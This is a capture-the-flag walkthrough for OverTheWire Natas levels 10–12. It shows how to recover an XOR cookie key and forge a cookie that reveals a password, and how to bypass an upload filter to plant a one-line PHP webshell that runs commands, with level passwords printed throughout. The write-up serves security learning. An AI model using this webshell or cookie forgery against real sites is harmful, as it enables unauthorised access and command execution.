OverTheWire - Natas (11-20)
Level 10 → 11
Password: 1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg
This level mentions that the “Cookies are protected with XOR encryption” and gives us the ability to customize the background colour. The source code involves five functions:
The following code line defines the variable
defaultdata
which is an array of what we are basically see in the homepage, that is, while background and the inability to see the password:1
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
The
xor_encrypt
method, as the name suggests, XOR encrypts an input. The key is censored, so finding this will be our main goal. What it actually does is declaring a predefined key, assigning the input to thetext
variable, and store the result of the XOR bitwise operation (text ^ key
) in theoutText
variable:1 2 3 4 5 6 7 8 9 10 11 12
function xor_encrypt($in) { $key = '<censored>'; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; }
The
loadData
method takes the cookie value, decodes it, and then uses it to set web page values, such as the background color and the visibility of the password. If there is adata
array from the browser cookie, its value is base64 decoded, then XOR encrypted, and then JSON decoded. Then thebgcocol
is read out of the array and checked against a hex color regex. If theshowpassword
key exists, it is also copied over to themydata
value:XOR encryption is the same with XOR decryption since XOR is reversible with the same mathematical function.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
function loadData($def) { global $_COOKIE; $mydata = $def; if(array_key_exists("data", $_COOKIE)) { $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { $mydata['showpassword'] = $tempdata['showpassword']; $mydata['bgcolor'] = $tempdata['bgcolor']; } } } return $mydata; }
The
saveData
function base64 encodes, XOR encrypts and JSON encodes the data array and saves it as a cookie in the user’s browser:1 2 3
function saveData($d) { setcookie("data", base64_encode(xor_encrypt(json_encode($d)))); }
The below code lines request from the user to input the
bgcolor
value:1 2 3 4 5
if(array_key_exists("bgcolor",$_REQUEST)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) { $data['bgcolor'] = $_REQUEST['bgcolor']; } }
The last function,
saveData
is called with the default values loaded in:1 2
$data = loadData($defaultdata); saveData($data);
We can first find our session’s cookie value via the Inspector tool, which is MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY%3D
:
If we visit CyberChef and URL decode our cookie we get the following:
From breaking down the function, we know the the cookie value includes showpassword=no
and our goal is to change it to showpassword=yes
. Our cookie was generated by setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
. The problem is that we don’t do the key for performing the XOR encryption!
We can use a PHP compiler and copy paste some of the functions in order to make our own cookie:
We have the cookie value of eyJzaG93cGFzc3dvcmQiOiJubyIsImJnY29sb3IiOiIjZmZmZmZmIn0=
, while the XOR encoded cookie is MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=
.
The former is generated with the same exact values as the latter: ` showpassword: no, bgColor: #ffffff`. Because of the associative property of XOR, it does not matter what order we do XOR in, we should get the same answer:
- plaintext XOR key = ciphertext
- ciphertext XOR key = plaintext
- ciphertext XOR plaintext = key
We have both the ciphertext (MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=
) and then plaintext (eyJzaG93cGFzc3dvcmQiOiJubyIsImJnY29sb3IiOiIjZmZmZmZmIn0=
), so by performing a XOR operation between them we can get the key, and then use it to create a new cookie value and encrypt it:
This gives us the value KNHL
as the XOR key. We can confirm this as follows:
Now, we can make a new cookie with the JSON object {"showpassword":"yes","bgcolor":"#ffffff"}
, XOR encrypt it, and then base64 encode it:
We can finally change our session cookie and get the password for the next level:
Level 11 → 12
Password: YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG
This time the web server has an option for uploading an image. This level is focused on file upload vulnerabilities and how to bypass an extension change. Our goal is to upload a webshell from which we can execute a command to read the next level’s password. Let’s start by creating the webshell:
1
2
3
4
5
6
7
8
9
10
# create the websehll
$ nano webshell.php
# give execute permissions to the file
$ sudo chmod +x webshell.php
# display the file's contents
$ cat webshell.php
<?php echo system($_GET['command']); ?>
# confirm permissions
$ ls -l webshell.php
-rwxr-xr-x 1 kali kali 40 Jan 17 21:26 webshell.php
Let’s try to upload it:
Our webshell.php
was renamed to jsflwp41if.jpg
! We don’t care much about the first part, but we need to find a way to keep the .php
extension, so we can execute it. We can intercept the POST
request when uploading the file to see what it looks like:
Since the extension change happens on our POST
request, we can simply manually change it back to .php
and then send the request again:
That seemed to have worked! Upon clicking the link, we get some warnings. This is because our webshell expects a command
parameter and it is not there yet:
We can now test our webshell by passing any command, such as id
, and see if we get back any output:
Since it worked fine, we can now pass a command for reading the next level’s password:
Level 12 → 13
Password: lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9